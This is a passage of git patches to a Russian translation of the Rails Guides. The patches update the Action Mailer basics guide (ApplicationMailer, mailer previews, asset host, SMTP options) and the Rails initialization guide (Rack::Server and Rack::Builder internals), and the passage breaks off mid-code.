Поскольу мы хотим создать новую форму HTML, будем использовать язык `ERB`, разработанный, чтобы внедрять Ruby в HTML. +Простейшим шаблоном, работающим в данном случае, будет расположенный в `app/views/articles/new.html.erb`. Расширение этого файла важно: первое расширение это _формат_ шаблона, а второе расширение это _обработчик_, который будет использован. Rails пытается найти шаблон с именем `articles/new` в `app/views` приложения. Форматом для этого шаблона может быть только `html`, а обработчиком должен быть один из `erb`, `builder` или `coffee`. Поскольку мы хотим создать новую форму HTML, будем использовать язык `ERB`, разработанный, чтобы внедрять Ruby в HTML. Следовательно, файл должен называться `articles/new.html.erb` и должен быть расположен в директории `app/views` приложения. @@ -887,7 +887,7 @@ private Мы заново использовали метод `article_params`, который определили ранее для экшна create. -TIP: Не обязательно передавать все атрибуты в `update`. к примеру, если был вызван `@article.update(title: 'A new title')`, Rails обновит только атрибут `title`, оставив все другие атрибуты нетронутыми. +TIP: Не обязательно передавать все атрибуты в `update`. К примеру, если был вызван `@article.update(title: 'A new title')`, Rails обновит только атрибут `title`, оставив все другие атрибуты нетронутыми. Наконец, мы хотим показать ссылку на экшн `edit` в списке всех статей, так что, давайте добавим ее в `app/views/articles/index.html.erb` рядом с ссылкой "Show": From 4eafb1e7449e7a9e3c497bf3c00b2127c6e66e45 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Fri, 7 Aug 2015 19:53:08 +0400 Subject: [PATCH 070/932] Update action mailer --- source/action_mailer_basics.md | 125 +++++++++++++++++++++++---------- source/index.yml | 4 +- 2 files changed, 89 insertions(+), 40 deletions(-) diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index 757b2b9e..b7dffffc 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -24,13 +24,29 @@ Action Mailer позволяет отправлять электронные п ```bash $ bin/rails generate mailer UserMailer create app/mailers/user_mailer.rb +create app/mailers/application_mailer.rb invoke erb create app/views/user_mailer +create app/views/layouts/mailer.text.erb +create app/views/layouts/mailer.html.erb invoke test_unit create test/mailers/user_mailer_test.rb +create test/mailers/previews/user_mailer_preview.rb ``` -Как видите, можно генерировать рассыльщих одним из генератором Rails. Рассыльщики концептуально похожи на контроллеры, таким образом мы получим рассыльщик, директорию для вьюх и тест. +```ruby +# app/mailers/application_mailer.rb +class ApplicationMailer < ActionMailer::Base + default from: "from@example.com" + layout 'mailer' +end + +# app/mailers/user_mailer.rb +class UserMailer < ApplicationMailer +end +``` + +Как видите, можно генерировать рассыльщик одним из генератором Rails. Рассыльщики концептуально похожи на контроллеры, таким образом мы получим рассыльщик, директорию для вьюх и тест. Если не хотите использовать генератор, можно создать свой файл в app/mailers, просто убедитесь, что он унаследован от `ActionMailer::Base`: @@ -46,15 +62,14 @@ end `app/mailers/user_mailer.rb` содержит пустой рассыльщик: ```ruby -class UserMailer < ActionMailer::Base - default from: 'from@example.com' +class UserMailer < ApplicationMailer end ``` Давайте добавим метод, названный `welcome_email`, который будет посылать email на зарегистрированный адрес email пользователя: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer default from: 'notifications@example.com' def welcome_email(user) @@ -126,7 +141,7 @@ $ bin/rails generate scaffold user name email login $ bin/rake db:migrate ``` -Теперь, когда у нас есть модель user, с которой мы играем, надо всего лишь отредактировать `app/controllers/users_controller.rb`, чтобы поручить UserMailer доставлять email каждому вновь созданному пользователю, изменив экшн create и вставив вызов `UserMailer.welcome_email` сразу после того, как пользователь был успешно сохранен: +Теперь, когда у нас есть модель user, с которой мы играем, надо всего лишь отредактировать `app/controllers/users_controller.rb`, чтобы поручить `UserMailer` доставлять email каждому вновь созданному пользователю, изменив экшн `create` и вставив вызов `UserMailer.welcome_email` сразу после того, как пользователь был успешно сохранен: ```ruby class UsersController < ApplicationController @@ -151,7 +166,7 @@ class UsersController < ApplicationController end ``` -NOTE: Поведением Active Job поумолчанию является запуск заданий ':inline'. Поэтому можно использовать `deliver_later` для отсылки писем прямо сейчас, а если позже решите отправлять письма в фоновой задаче, вам нужно будет всего лишь настроить Active Job для использования бэкэнда очередей (Sidekiq, Resque и т.п.). +NOTE: Поведением Active Job по умолчанию является запуск заданий ':inline'. Поэтому можно использовать `deliver_later` для отсылки писем прямо сейчас, а если позже решите отправлять письма в фоновой задаче, вам нужно будет всего лишь настроить Active Job для использования бэкэнда очередей (Sidekiq, Resque и т.п.). Если хотите отправлять письма прямо сейчас в любом случае (например, из крона) просто вызовите `deliver_now`: @@ -179,7 +194,7 @@ Action Mailer осуществляет автоматическое кодиро * `headers` - Определяет любой заголовок email. Можно передать хэш пар имен и значений полей заголовка, или можно вызвать `headers[:field_name] = 'value'` * `attachments` - Позволяет добавить вложения в ваш email. Например, `attachments['file-name.jpg'] = File.read('file-name.jpg')` -* `mail` - Фактически отсылает сам email. Можете передать в headers хэш к методу mail как параметр, mail затем создаст email, или чистый текст, или multipart, в зависимости от определенных вами шаблонов email. +* `mail` - Фактически отсылает сам email. Можете передать в `headers` хэш к методу `mail` как параметр, `mail` затем создаст email, или чистый текст, или multipart, в зависимости от определенных вами шаблонов email. #### Добавление вложений @@ -195,7 +210,7 @@ Action Mailer осуществляет автоматическое кодиро NOTE: Mail автоматически кодирует вложение в Base64. Если хотите что-то иное, закодируйте свое содержимое и передайте в кодированном содержимом, и укажите кодировку в хэше в методе `attachments`. -* Передайте имя файла и определите заголовки и содержимое, и Action Mailer и Mail используют переданные вами настройки. +* Передайте имя файла и определите заголовки и содержимое, и Action Mailer и Mail будут использовать переданные вами настройки. ```ruby encoded_content = SpecialEncode(File.read('/path/to/filename.jpg')) @@ -233,8 +248,7 @@ Action Mailer 3.0 создает встроенные вложения, кото ```html+erb

Hello there, this is our image

- <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', - class: 'photos' %> + <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %> ``` #### Рассылка Email нескольким получателям @@ -242,7 +256,7 @@ Action Mailer 3.0 создает встроенные вложения, кото Возможно отослать email одному и более получателям в одном письме (например, информируя всех админов о новой регистрации пользователя), настроив список адресов email в ключе `:to`. Перечень email может быть массивом или отдельной строкой с адресами, разделенными запятыми. ```ruby -class AdminMailer < ActionMailer::Base +class AdminMailer < ApplicationMailer default to: Proc.new { Admin.pluck(:email) }, from: 'notification@example.com' @@ -257,7 +271,7 @@ end #### Рассылка Email с именем -Иногда хочется показать имена людей вместо их электронных адресов, при получении ими email. Фокус в том, что формат адреса email следующий `"Full Name "`. +Иногда хочется показать имена людей вместо их электронных адресов, при получении ими email. Фокус в том, что формат адреса email следующий `"Full Name" `. ```ruby def welcome_email(user) @@ -274,7 +288,7 @@ end Чтобы изменить вьюху рассыльщика по умолчанию для вашего экшна, сделайте так: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer default from: 'notifications@example.com' def welcome_email(user) @@ -285,7 +299,6 @@ class UserMailer < ActionMailer::Base template_path: 'notifications', template_name: 'another') end - end ``` @@ -294,7 +307,7 @@ end Если желаете большей гибкости, также возможно передать блок и рендерить определенный шаблон или даже рендерить вложенный код или текст без использования файла шаблона: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer default from: 'notifications@example.com' def welcome_email(user) @@ -310,7 +323,7 @@ class UserMailer < ActionMailer::Base end ``` -Это отрендерит шаблон 'another_template.html.erb' для HTML части и использует 'Render text' для текстовой части. Команда render та же самая, что используется в Action Controller, поэтому можете использовать те же опции, такие как `:text`, `:inline` и т.д. +Это отрендерит шаблон 'another_template.html.erb' для HTML части и использует 'Render text' для текстовой части. Команда `render` та же самая, что используется в Action Controller, поэтому можете использовать те же опции, такие как `:text`, `:inline` и т.д. ### Макеты Action Mailer @@ -319,17 +332,17 @@ end Чтобы задействовать другой файл, вызовите `layout` в своем рассыльщике: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer layout 'awesome' # использовать awesome.(html|text).erb как макет end ``` Подобно вьюхам контроллера, используйте `yield` для рендера вьюхи внутри макета. -Также можно передать опцию `layout: 'layout_name'` в вызов render в формате блока, чтобы определить различные макеты для различных действий: +Также можно передать опцию `layout: 'layout_name'` в вызов render в формате блока, чтобы определить различные макеты для различных форматов: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer def welcome_email(user) mail(to: user.email) do |format| format.html { render layout: 'my_layout' } @@ -341,6 +354,29 @@ end Отрендерит часть в HTML, используя файл `my_layout.html.erb`, и текстовую часть с обычным файлом `user_mailer.text.erb`, если он существует. +### Предпросмотр писем + +Предпросмотр Action Mailer предоставляет способ увидеть, как выглядят письма, посетив специальный URL, который отображает их. В приведенном выше примере, класс предпросмотра для `UserMailer` должен называться `UserMailerPreview` и находится в `test/mailers/previews/user_mailer_preview`. Чтобы увидеть предпросмотр `welcome_email`, реализуйте метод с таким же именем и вызовом `UserMailer.welcome_email`: + +```ruby +class UserMailerPreview < ActionMailer::Preview + def welcome_email + UserMailer.welcome_email(User.first) + end +end +``` + +Тогда предпросмотр будет доступено по адресу . + +Если вы поменяете что-то в `app/views/user_mailer/welcome_email.html.erb` или в самом рассыльщике, это автоматически перезагрузится и отрендерится, таким образом, вы можете увидеть новые стили мгновенно. Список для предпросмотра также доступен по адресу . + +По умолчанию, классы предпросмотра находятся в `test/mailers/previews`. +Это может быть изменено, используя опцию `preview_path`. Например, если вы хотите изменить это на `lib/mailer_previews`, вы можете указать в `config/application.rb`: + +```ruby +config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" +``` + ### Создаем URL во вьюхах Action Mailer В отличие от контроллеров, экземпляр рассыльщика не может использовать какой-либо контекст относительно входящего запроса, поэтому необходимо предоставить параметр `:host` самостоятельно. @@ -368,13 +404,7 @@ config.action_mailer.default_url_options = { host: 'example.com' } #### Создание URL с помощью `url_for` -Необходимо передать опцию `only_path: false` при использовании `url_for`. Это обеспечит, что будет сгенерирован обсолютный URL, так как хелпер `url_for` по умолчанию генерирует относительный URL, если не передана явно опция `:host`. - -```erb -<%= url_for(controller: 'welcome', - action: 'greeting', - only_path: false) %> -``` +`url_for` генерирует полный URL по умолчанию в шаблонах. Если вы не настроили опцию `:host` глобально, убедитесь, что передали ее в `url_for`. @@ -384,8 +414,6 @@ config.action_mailer.default_url_options = { host: 'example.com' } action: 'greeting') %> ``` -NOTE: Когда вы явно передаете `:host`, Rails всегда будет генерировать абсолютный URL, поэтому нет необходимости передавать `only_path: false`. - #### Создание URL с помощью именнованных маршрутов У клиентов email отсутствует веб контекст, таким образом у путей нет базового URL для формирования полного веб адреса. Поэтому следует всегда использовать только вариант "_url" именованных маршрутных хелперов. @@ -396,6 +424,25 @@ NOTE: Когда вы явно передаете `:host`, Rails всегда б <%= user_url(http://github.com/@user,%20host:%20'example.com') %> ``` +NOTE: не `GET` ссылки требуют [jQuery UJS](https://github.com/rails/jquery-ujs) +и не будут работать в шаблонах рассыльщика. Они будут заменятся на простые `GET` запросы. + +### Добавление картинок во вьюхах Action Mailer + +В отличие от контроллеров, экземпляр рассыльщика не может использовать какой-либо контекст относительно входящего запроса, поэтому необходимо предоставить параметр `:asset_host` самостоятельно. + +Так как `:asset_host` обычно одинаковый для всего приложения, его можно настроить глобально в `config/application.rb`: + +```ruby +config.action_mailer.asset_host = 'http://example.com/' +``` + +Теперь вы можете отображать картинки внутри вашего письма. + +```ruby +<%= image_tag 'image.jpg' %> +``` + ### Рассылка multipart email Action Mailer автоматически посылает multipart email, если имеются разные шаблоны для одного и того же экшна. Таким образом, для нашего примера UserMailer, если есть `welcome_email.text.erb` и `welcome_email.html.erb` в `app/views/user_mailer`, то Action Mailer автоматически пошлет multipart email с версиями HTML и текстовой, настроенными как разные части. @@ -404,10 +451,10 @@ Action Mailer автоматически посылает multipart email, ес ### Рассылка писем с динамическими опциями доставки -Если хотите переопределить опции доставки по умолчанию (т. е. данные SMTP) во время доставки писем, можно использовать `delivery_method_options` в экшне рассыльщика. +Если хотите переопределить опции доставки по умолчанию (т.е. данные SMTP) во время доставки писем, можно использовать `delivery_method_options` в экшне рассыльщика. ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer def welcome_email(user, company) @user = user @url = user_url(http://github.com/@user) @@ -421,12 +468,12 @@ class UserMailer < ActionMailer::Base end ``` -### Рассыла писем без рендеринга шаблона +### Рассылка писем без рендеринга шаблона -Бывают ситуации, когда вы хотите пропустить шаг рендеринга шаблона и и предоставить тело письма, как строку. Это достигается с использованием опции `:body`. В таком случае не забудьте добавить опцию `:content_type`. Иначе Rails использует по умолчанию `text/plain`. +Бывают ситуации, когда вы хотите пропустить шаг рендеринга шаблона и предоставить тело письма, как строку. Это достигается с использованием опции `:body`. В таком случае, не забудьте добавить опцию `:content_type`. Иначе Rails использует по умолчанию `text/plain`. ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer def welcome_email(user, email_body) mail(to: user.email, body: email_body, @@ -448,7 +495,7 @@ end Как только метод, названный `receive`, определяется в каком-либо рассыльщике, Action Mailer будет парсить сырую входящую почту в объект email, декодировать его, создавать экземпляр нового рассыльщика и передавать объект email в метод экземпляра рассыльщика `receive`. Вот пример: ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer def receive(email) page = Page.find_by(address: email.to.first) page.emails.create( @@ -475,12 +522,12 @@ Action Mailer позволяет определить `before_action`, `after_ac * Фильтры могут быть определены в блоке или символом с именем метода рассыльщика, подобно контроллерам. -* `before_action` можно использовать для заполнения объекта mail значениями по умолчанию, delivery_method_options или вставки заголовков по умолчанию и вложений. +* `before_action` можно использовать для заполнения объекта mail значениями по умолчанию, `delivery_method_options` или вставки заголовков по умолчанию и вложений. * `after_action` можно использовать для подобной настройки, как и в `before_action`, но используя переменные экземпляра, установленные в экшне рассыльщика. ```ruby -class UserMailer < ActionMailer::Base +class UserMailer < ApplicationMailer after_action :set_delivery_options, :prevent_delivery_to_guests, :set_business_headers @@ -535,7 +582,7 @@ Action Mailer теперь всего лишь наследуется от `Abst | Конфигурация | Описание | | ----------------------- | -------- | | `logger` | logger используется для создания информации на ходу, если возможно. Можно установить как `nil` для отсутствия логирования. Совместим как с `Logger` в Ruby, так и с логером `Log4r`.| -| `smtp_settings` | Позволяет подробную настройку для метода доставки `:smtp`:
  • `:address` - Позволяет использовать удаленный почтовый сервер. Просто измените его изначальное значение "localhost".
  • `:port` - В случае, если ваш почтовый сервер не работает с 25 портом, можете изменить его.
  • `:domain` - Если необходимо определить домен HELO, это можно сделать здесь.
  • `:user_name` - Если почтовый сервер требует аутентификацию, установите имя пользователя этой настройкой.
  • `:password` - Если почтовый сервер требует аутентификацию, установите пароль этой настройкой.
  • `:authentication` - Если почтовый сервер требует аутентификацию, здесь нужно определить тип аутентификации. Это один из символов `:plain`, `:login`, `:cram_md5`.
  • `:enable_starttls_auto` - Установите его в `false` если есть проблема с сертификатом сервера, которую вы не можете решить.
| +| `smtp_settings` | Позволяет подробную настройку для метода доставки `:smtp`:
  • `:address` - Позволяет использовать удаленный почтовый сервер. Просто измените его изначальное значение "localhost".
  • `:port` - В случае, если ваш почтовый сервер не работает с 25 портом, можете изменить его.
  • `:domain` - Если необходимо определить домен HELO, это можно сделать здесь.
  • `:user_name` - Если почтовый сервер требует аутентификацию, установите имя пользователя этой настройкой.
  • `:password` - Если почтовый сервер требует аутентификацию, установите пароль этой настройкой.
  • `:authentication` - Если почтовый сервер требует аутентификацию, здесь нужно определить тип аутентификации. Это один из символов `:plain` (будет отправлять пароль в открытом виде), `:login` (будет отправлять пароль закодированным Base64) или `:cram_md5` (сочетает в себе механизм Challenge/Response для обмена информацией и криптографический алгоритм Message Digest 5 хэширования важной информации)
  • `:enable_starttls_auto` - Определяет, включен ли STARTTLS в вашем SMTP сервере и будет использовать это. По умолчанию, `true`.
  • `:openssl_verify_mode` - При использовании TLS, вы можете установить, как OpenSSL проверяет сертификат. Это действительно полезно, если вам нужно производить проверку самостоятельно созданного и/или группового сертификата. Вы можете использовать название проверяющей константы OpenSSL ('none', 'peer', 'client_once', 'fail_if_no_peer_cert') или непосредственно константу (`OpenSSL::SSL::VERIFY_NONE`, `OpenSSL::SSL::VERIFY_PEER`, ...).
| | `sendmail_settings` | Позволяет переопределить опции для метода доставки `:sendmail`.
  • `:location` - Расположение исполняемого sendmail. По умолчанию `/usr/sbin/sendmail`.
  • `:arguments` - Аргументы командной строки. По умолчанию `-i -t`.
| | `raise_delivery_errors` | Должны ли быть вызваны ошибки, если email не может быть доставлен. Это работает, если внешний сервер email настроен на немедленную доставку.| | `delivery_method` | Определяет метод доставки. Возможные значения:
  • `:smtp` (по умолчанию), может быть настроен с помощью `config.action_mailer.smtp_settings`.
  • `:sendmail`, может быть настроен с помощью `config.action_mailer.sendmail_settings`.
  • `:file`: сохраняет письма в файлы; может быть настроен с помощью `config.action_mailer.file_settings`.
  • `:test`: сохраняет письма в массив `ActionMailer::Base.deliveries`.
Подробнее смотрите в [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html).| @@ -598,7 +645,9 @@ end Чтобы перехватчик начал работать, его необходимо зарегистрировать с помощью фреймворка Action Mailer. Это можно сделать в файле инициализатора `config/initializers/sandbox_email_interceptor.rb` ```ruby -ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) if Rails.env.staging? +if Rails.env.staging? + ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) +end ``` NOTE: Вышеприведенный пример использует пользовательское окружение по имени "staging" для сервера, похожего на production, но для целей тестирования. Подробнее о пользовательских окружениях в Rails можно прочитать в [Создание сред Rails](/configuring-rails-applications#creating-rails-environments). diff --git a/source/index.yml b/source/index.yml index d232c90f..3d3f4c71 100644 --- a/source/index.yml +++ b/source/index.yml @@ -111,8 +111,8 @@ pages: - title: Основы Action Mailer path: action-mailer-basics file: action_mailer_basics.md - revision: 3941b8da9fcba93c30dd8dc89af648872b809e5e - date: 21/08/2014 + revision: 9cc438f5596a519bdccc36cd0763feb72040e45b + date: 03/07/2015 - title: Основы Active Job path: active_job_basics From 0bc8587af33ba25c3213e362a0d4da47209e959a Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 8 Aug 2015 14:23:45 +0300 Subject: [PATCH 071/932] update initialization guide --- source/index.yml | 4 +- source/initialization.md | 192 ++++++++++++++++++++++++--------------- 2 files changed, 122 insertions(+), 74 deletions(-) diff --git a/source/index.yml b/source/index.yml index 3d3f4c71..3db860df 100644 --- a/source/index.yml +++ b/source/index.yml @@ -177,8 +177,8 @@ pages: - title: Процесс инициализации в Rails path: initialization file: initialization.md - revision: 56fa194daa171f50b73f08ec0a52f845dc0f5a51 - date: 10/02/2014 + revision: 99c042b3ccaca51bbe249fd2f2bfedf544629ef8 + date: 28/05/2015 - title: Автозагрузка и перезагрузка констант path: constant_autoloading_and_reloading diff --git a/source/initialization.md b/source/initialization.md index 18b2a20a..778fbff6 100644 --- a/source/initialization.md +++ b/source/initialization.md @@ -21,7 +21,7 @@ TIP: Если желаете параллельно чтению просмат Давайте загрузим и инициализируем приложение. Приложение Rails обычно стартует с помощью запуска `rails console` или `rails server`. -### `railties/bin/rails` +### `railties/exe/rails` `rails` в команде `rails server` является исполняемым файлом ruby в вашем пути загрузки. Этот исполняемый файл содержит следующие строчки: @@ -30,17 +30,17 @@ version = ">= 0" load Gem.bin_path('railties', 'rails', version) ``` -Если попытаетесь запустить эту команду в консоли Rails, то увидете, что она загружает `railties/bin/rails`. Часть файла `railties/bin/rails.rb` содержит следующий код: +Если попытаетесь запустить эту команду в консоли Rails, то увидете, что она загружает `railties/exe/rails`. Часть файла `railties/exe/rails.rb` содержит следующий код: ```ruby require "rails/cli" ``` -Файл `railties/lib/rails/cli`, в свою очередь, вызывает `Rails::AppRailsLoader.exec_app_rails`. +Файл `railties/lib/rails/cli`, в свою очередь, вызывает `Rails::AppLoader.exec_app`. -### `railties/lib/rails/app_rails_loader.rb` +### `railties/lib/rails/app_loader.rb` -Основной целью функции `exec_app_rails` является запуск `bin/rails` вашего приложения. Если в текущей директории нет `bin/rails`, она будет переходить на уровень вверх, пока не найдет исполняемый файл `bin/rails`. Поэтому он может быть вызван с помощью команды `rails` из любого места внутри вашего приложения. +Основной целью функции `exec_app` является запуск `bin/rails` вашего приложения. Если в текущей директории нет `bin/rails`, она будет переходить на уровень вверх, пока не найдет исполняемый файл `bin/rails`. Поэтому он может быть вызван с помощью команды `rails` из любого места внутри вашего приложения. Эквивалентом для `rails server` является запуск следующей команды: @@ -76,12 +76,13 @@ require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) Стандартное Rails приложение зависит от нескольких гемов, а именно: -* abstract * actionmailer * actionpack +* actionview * activemodel * activerecord * activesupport +* activejob * arel * builder * bundler @@ -89,7 +90,6 @@ require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) * i18n * mail * mime-types -* polyglot * rack * rack-cache * rack-mount @@ -97,9 +97,8 @@ require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) * rails * railties * rake -* sqlite3-ruby +* sqlite3 * thor -* treetop * tzinfo ### `rails/commands.rb` @@ -135,9 +134,10 @@ TIP: Как видите, пустой список ARGV приведет к п Если кто-то напишет неверную команду rails, в ответ `run_command` выдаст сообщение об ошибке. Есл команда правильная, будет вызван метод с тем же именем. ```ruby -COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help) +COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole application runner new version help) def run_command!(command) + command = parse_command(command) if COMMAND_WHITELIST.include?(command) send(command) else @@ -151,8 +151,7 @@ end ```ruby def set_application_directory! - Dir.chdir(File.expand_path('../../', APP_PATH)) unless - File.exist?(File.expand_path("config.ru")) + Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru")) end def server @@ -160,6 +159,8 @@ def server require_command!("server") Rails::Server.new.tap do |server| + # We need to require application after the server sets environment, + # otherwise the --environment option given to the server won't propagate. require APP_PATH Dir.chdir(Rails.application.root) server.start @@ -177,6 +178,7 @@ end require 'fileutils' require 'optparse' require 'action_dispatch' +require 'rails' module Rails class Server < ::Rack::Server @@ -242,7 +244,7 @@ def parse_options(args) # http://www.meb.uni-bonn.de/docs/cgi/cl.html args.clear if ENV.include?("REQUEST_METHOD") - options.merge! opt_parser.parse! args + options.merge! opt_parser.parse!(args) options[:config] = ::File.expand_path(options[:config]) ENV["RACK_ENV"] = options[:environment] options @@ -253,18 +255,21 @@ end ```ruby def default_options + environment = ENV['RACK_ENV'] || 'development' + default_host = environment == 'development' ? 'localhost' : '0.0.0.0' + { - environment: ENV['RACK_ENV'] || "development", - pid: nil, - Port: 9292, - Host: "0.0.0.0", - AccessLog: [], - config: "config.ru" + :environment => environment, + :pid => nil, + :Port => 9292, + :Host => default_host, + :AccessLog => [], + :config => "config.ru" } end ``` -Ключа `REQUEST_METHOD` нет в `ENV`, поэтому можно пропустить следующую строчку. Последующие строчки сливают опции из `opt_parser`, который также определен в `Rack::Server` +Ключа `REQUEST_METHOD` нет в `ENV`, поэтому можно пропустить следующую строчку. Последующие строчки сливают опции из `opt_parser`, который также определен в `Rack::Server`: ```ruby def opt_parser @@ -311,11 +316,12 @@ private def print_boot_information ... puts "=> Run `rails server -h` for more startup options" + ... puts "=> Ctrl-C to shutdown server" unless options[:daemonize] end def create_tmp_directories - %w(cache pids sessions sockets).each do |dir_to_make| + %w(cache pids sockets).each do |dir_to_make| FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make)) end end @@ -331,7 +337,7 @@ private end ``` -Это то место, где происходит первый вывод на экран при инициализации Rails. Этот метод создает ловушку (trap) для сигналов `INT`, поэтому, при нажатии `CTRL-C`, сервер завершит процесс. Как видим дальше по коду, он создает директории `tmp/cache`, `tmp/pids`, `tmp/sessions` и `tmp/sockets`. Затем он вызывает `wrapped_app`, который ответственен за создание приложения Rack, а затем создает и присваивает экземпляр `ActiveSupport::Logger`. +Это то место, где происходит первый вывод на экран при инициализации Rails. Этот метод создает ловушку (trap) для сигналов `INT`, поэтому, при нажатии `CTRL-C`, сервер завершит процесс. Как видим дальше по коду, он создает директории `tmp/cache`, `tmp/pids` и `tmp/sockets`. Затем он вызывает `wrapped_app`, который ответственен за создание приложения Rack, а затем создает и присваивает экземпляр `ActiveSupport::Logger`. Метод `super` вызовет `Rack::Server.start`, определение которого выглядит так: @@ -389,7 +395,11 @@ end ```ruby def app - @app ||= begin + @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config +end +... +private + def build_app_and_options_from_config if !::File.exist? options[:config] abort "configuration #{options[:config]} not found" end @@ -398,7 +408,10 @@ def app self.options.merge! options app end -end + + def build_app_from_string + Rack::Builder.new_from_string(self.options[:builder]) + end ``` Значение по умолчанию `options[:config]` - это `config.ru`, содержащий следующее: @@ -413,8 +426,14 @@ run <%= app_const %> Метод `Rack::Builder.parse_file` принимает содержимое этого файла `config.ru` и парсит его, используя следующий код: ```ruby -app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", - TOPLEVEL_BINDING, config +app = new_from_string cfgfile, config + +... + +def self.new_from_string(builder_script, file="(rackup)") + eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app", + TOPLEVEL_BINDING, file, 0 +end ``` Метод `initialize` из `Rack::Builder` принимает блок и выполняет его в рамках экземпляра `Rack::Builder`. Это то место, в котором происходит большая часть процесса инициализации Rails. Сперва запускается строчка `require` для `config/environment.rb` в `config.ru`: @@ -427,11 +446,21 @@ require ::File.expand_path('../config/environment', __FILE__) Этот файл является общим файлом, требуемым и `config.ru` (`rails server`), и Passenger. Тут встречаются два способа, как можно запустить сервер; все, что было до этой точки - была настройка Rack и Rails. -Этот файл начинается с затребования `config/application.rb`. +Этот файл начинается с затребования `config/application.rb`: + +```ruby +require File.expand_path('../application', __FILE__) +``` ### `config/application.rb` -Этот файл требует `config/boot.rb`, но только если он не был затребован ранее, что уже было сделано в случае с `rails server`, но **не делалось** в случае с Passenger. +Этот файл требует `config/boot.rb`: + +```ruby +require File.expand_path('../boot', __FILE__) +``` + +Но только если он не был затребован ранее, что уже было сделано в случае с `rails server`, но **не делалось** в случае с Passenger. Дальше начинается веселье! @@ -452,11 +481,13 @@ require 'rails/all' require "rails" %w( - active_record - action_controller - action_mailer - rails/test_unit - sprockets + active_record + action_controller + action_view + action_mailer + active_job + rails/test_unit + sprockets ).each do |framework| begin require "#{framework}/railtie" @@ -471,7 +502,7 @@ end ### Возвращаемся в `config/environment.rb` -Оставшаяся часть `config/application.rb` определяет конфигурацию для `Rails::Application`, которая будет единожды использована после того, как приложение полностью инициализируется. Когда `config/application.rb` закончит загружать Rails и определит пространство имен приложения, вы вернетесь в `config/environment.rb`, где инициализируется ваше приложение. Например, если ваше приложение называется `Blog`, тут вы обнаружите `Blog::Application.initialize!`, который определен в `rails/application.rb` +Оставшаяся часть `config/application.rb` определяет конфигурацию для `Rails::Application`, которая будет единожды использована после того, как приложение полностью инициализируется. Когда `config/application.rb` закончит загружать Rails и определит пространство имен приложения, вы вернетесь в `config/environment.rb`. Здесь инициализируется приложение с помощью `Rails.application.initialize!`, который определен в `rails/application.rb` ### `railties/lib/rails/application.rb` @@ -486,7 +517,7 @@ def initialize!(group=:default) #:nodoc: end ``` -Как видите, инициализировать приложение можно лишь единожды. Инициализаторы запускаются с помощью метода `run_initializers`, который определен в `railties/lib/rails/initializable.rb` +Как видите, инициализировать приложение можно лишь единожды. Инициализаторы запускаются с помощью метода `run_initializers`, который определен в `railties/lib/rails/initializable.rb`: ```ruby def run_initializers(group=:default, *args) @@ -498,11 +529,11 @@ def run_initializers(group=:default, *args) end ``` -Код run_initializers сам по себе является сложным. Тут Rails проходит всех предков класса, ищет тех, кто отвечает на метод `initializers`. Затем он сортирует предков по имени и запускает. Например, класс `Engine` делает доступными все engine, предоставляя в нем метод `initializers`. +Код `run_initializers` сам по себе является сложным. Тут Rails проходит всех предков класса, ищет тех, кто отвечает на метод `initializers`. Затем он сортирует предков по имени и запускает. Например, класс `Engine` делает доступными все engine, предоставляя в нем метод `initializers`. Класс `Rails::Application`, как определено в `railties/lib/rails/application.rb`, определяет инициализаторы `bootstrap`, `railtie` и `finisher`. Инициализаторы `bootstrap` подготавливает приложение (такие как инициализатор логгера), в то время как инициализаторы `finisher` (такие как создание стэка промежуточных программ) запускаются последними. Инициализаторы `railtie` – это инициализаторы, которые определены самим `Rails::Application` и запускаются между `bootstrap` и `finisher`. -После того, как это закончится, мы вернемся в `Rack::Server` +После того, как это закончится, мы вернемся в `Rack::Server`. ### Rack: lib/rack/server.rb @@ -510,7 +541,11 @@ end ```ruby def app - @app ||= begin + @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config +end +... +private + def build_app_and_options_from_config if !::File.exist? options[:config] abort "configuration #{options[:config]} not found" end @@ -519,7 +554,10 @@ def app self.options.merge! options app end -end + + def build_app_from_string + Rack::Builder.new_from_string(self.options[:builder]) + end ``` В этом месте `app` - это само приложение Rails (промежуточная программа, middleware), и дальше происходит то, что Rack вызывает все представленные промежуточные программы: @@ -536,45 +574,55 @@ def build_app(app) end ``` -Помните, что `build_app` был вызван (из wrapped_app) в последней строчке `Server#start`? Вот как она выглядела: +Помните, что `build_app` был вызван (из `wrapped_app`) в последней строчке `Server#start`? Вот как она выглядела: ```ruby server.run wrapped_app, options, &blk ``` -С этого момента реализация `server.run` будет зависеть от используемого вами сервера. Например, при использовании Mongrel вот как выглядит метод `run`: - -```ruby -def self.run(app, options={}) - server = ::Mongrel::HttpServer.new( - options[:Host] || '0.0.0.0', - options[:Port] || 8080, - options[:num_processors] || 950, - options[:throttle] || 0, - options[:timeout] || 60) - # Acts like Rack::URLMap, 